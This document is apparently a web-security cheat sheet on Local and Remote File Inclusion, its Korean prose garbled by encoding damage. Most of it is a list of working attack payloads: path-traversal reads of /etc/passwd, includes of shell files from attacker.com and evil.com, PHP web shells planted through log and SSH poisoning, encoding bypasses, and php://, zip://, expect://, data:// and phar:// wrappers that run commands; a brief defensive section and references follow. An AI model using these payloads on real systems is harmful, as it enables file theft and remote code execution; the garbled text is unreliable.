π Introduction
File Inclusionμ λμ μΌλ‘ Fileμ μ½κ±°λ Include(μμ€μ½λ λ΄ Built) νλ κΈ°λ₯μ΄ μλ κ²½μ° μ΄λ₯Ό μ μ©νμ¬ μμ€ν νμΌμ μ½μ΄ νμ·¨νκ±°λ 곡격μκ° λ§λ€μ΄λ μμ€μ½λλ₯Ό Include νλλ‘ μ λνλ 곡격μ λλ€. λ³΄ν΅ LFI(Local File Inclusion)μ RFI(Remote File Inclusion)λ‘ λ§μ΄ μλ €μ Έ μμ΅λλ€.
LFI
LFIλ Localμ μλ νμΌμ μ½λ 곡격μ λλ€. μ΄λ₯Ό ν΅ν΄ 곡격μκ° μμ€ν νμΌμ νμ·¨νκ±°λ 미리 μ λ‘λλ μ μ½λλ₯Ό Include μμΌ μλν μ½λλ₯Ό μ€ννκ² ν μ μμ΅λλ€.
GET /filedownload?path=file:///etc/passwd
HTTP/1.1 200 OK
...
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false
....
RFI
RFIλ Remoteμ μλ νμΌμ μ½λ 곡격μ λλ€. 곡격μκ° μμ μ μλ²μ μ μ½λλ₯Ό 미리 μ€λΉμμΌ λκ³ μ·¨μ½ μλ²κ° ν΄λΉ νμΌμ μμ€μ½λλ‘ Include μμΌ μλν μ½λλ₯Ό μ€ννκ² ν μ μμ΅λλ€.
Normal
GET /include_once?lib=/config/settings.php
Attack
GET /include_once?lib=https://attacker.com/reverse_shell.php
π‘ Offensive techniques
Detect
Fileμ μ½μ μ μλ API λͺ¨λ ν μ€ν μ λμμ΄ λ©λλ€. Path Traversal κ³Ό μλ ν¨ν΄λ€μ μ΄μ©νμ¬ νμΌ μ½κΈ°λ₯Ό μλν΄ λ³Ό μ μμ΅λλ€.
(LFI) /index.php?page=../../../etc/passwd
(RFI) /index.php?page=http://evil.com/shell.txt
Exploitation
Basic File leak (LFI)
GET /filedownload?path=file:///etc/passwd
Basic RCE (RFI)
GET /include_once?lib=https://attacker.com/reverse_shell.php
RCE via Log file
Attack
$ curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"
Log files
/index.php?page=/var/log/apache/access.log
/index.php?page=/var/log/apache/error.log
/index.php?page=/var/log/apache2/access.log
/index.php?page=/var/log/apache2/error.log
/index.php?page=/var/log/nginx/access.log
/index.php?page=/var/log/nginx/error.log
/index.php?page=/var/log/vsftpd.log
/index.php?page=/var/log/sshd.log
/index.php?page=/var/log/mail
/index.php?page=/var/log/httpd/error_log
/index.php?page=/usr/local/apache/log/error_log
/index.php?page=/usr/local/apache2/log/error_log
RCE via SSH
ssh <?php system($_GET["cmd"]);?>@10.10.10.10
GET /index.php?page=/var/log/auth.log&cmd=id
Bypass protection
LFI
Double encoding
GET /index.php?page=%252e%252e%252fetc%252fpasswd
GET /index.php?page=%252e%252e%252fetc%252fpasswd%00
UTF-8 encoding
GET /index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
GET /index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00
Path/Dot Truncation
GET /index.php?page=../../../etc/passwd............[ADD MORE]
GET /index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]
GET /index.php?page=../../../etc/passwd/./././././.[ADD MORE]
GET /index.php?page=../../../[ADD MORE]../../../../etc/passwd
RFI
Null byte
GET /index.php?page=http://evil.com/shell.txt%00
Double encoding
GET /index.php?page=http:%252f%252fevil.com%252fshell.txt
Protocol Relative URL
GET /index.php?page=//evil.com/shell.txt
GET /index.php?page=\\evil.com/shell.txt
PHP URI
GET /index.php?page=php://filter/read=string.rot13/resource=index.php
GET /index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
GET /index.php?page=php://filter/convert.base64-encode/resource=index.php
GET /index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
GET /index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
ZIP URI
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
GET /index.php?page=zip://shell.jpg%23payload.php
Expect URI
GET /index.php?page=expect://id
GET /index.php?page=expect://ls
Data URI
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
# Payload => "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Phar URI (PHP)
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
// add object of any class as meta data
class AnyClass {}
$object = new AnyClass;
$object->data = 'rips';
$phar->setMetadata($object);
$phar->stopBuffering();
GET /index.php?page=phar://attack.phar
Input URI
POST /index.php?page=php://input%00
<?php echo shell_exec('id'); ?>
π‘ Defensive techniques
Input Validation
μ¬μ©μλ‘ λΆν° κ°μ μ λ ₯λ°μ νμΌμ μ²λ¦¬νλ κ²½μ° μλλ νμΌ λ²μλ₯Ό λ²μ΄λμ§ μλλ‘ νΉμλ¬Έμ λ±μ λν΄ κ²μ¦ν΄μΌν©λλ€. λν μ¬λ¬ URIλ₯Ό ν΅ν΄ μ κ·Όμ μλν μ μκΈ° λλ¬Έμ νμ©λ URIλ§ μ¬μ©ν μ μλλ‘ μ νν΄μΌν©λλ€.
Sandbox
LFIμ κ²½μ° μ½λ νλ‘μΈμ€μ κ²½λ‘μ κΆνμ μ΄μ©ν΄μλ κ²μ¦ν μ μμ΅λλ€. νμΌ μ½κΈ°κ° κ°λ₯ν κΆνκ³Ό λλ ν 리λ₯Ό λλμ΄ μμ λλ ν 리λ₯Ό μ½μ§ λͺ»νλλ‘ μ νν μ μμ΅λλ€.
πΉ Tools
- ZAP ActiveRule - RFI
- ZAP ActiveRule - Path Traversal
- https://github.com/D35m0nd142/LFISuite
- https://github.com/wireghoul/dotdotpwn
π References
- https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion
- https://www.hahwul.com/2018/03/25/protocol-relative-url-htmljavascriptcss/
- https://wiki.owasp.org/index.php/Testing_for_Local_File_Inclusion